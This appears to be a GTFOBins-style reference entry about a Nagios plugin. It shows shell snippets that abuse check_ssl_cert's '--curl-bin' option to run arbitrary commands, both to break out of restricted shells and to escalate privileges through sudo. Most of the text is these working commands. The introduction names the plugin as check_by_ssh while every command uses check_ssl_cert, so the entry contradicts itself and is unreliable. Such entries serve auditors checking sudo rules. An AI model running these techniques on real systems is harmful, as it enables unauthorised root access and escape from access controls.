This is the check_by_ssh Nagios plugin, available e.g. in /usr/lib/nagios/plugins/.

Command

It can be used to break out from restricted environments by running non-interactive system commands.

The host example.net must return a certificate via TLS

COMMAND=id
OUTPUT=output_file
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
chmod +x $TF
check_ssl_cert --curl-bin $TF -H example.net
cat $OUTPUT

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The host example.net must return a certificate via TLS

COMMAND=id
OUTPUT=output_file
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
chmod +x $TF
umask 022
check_ssl_cert --curl-bin $TF -H example.net
cat $OUTPUT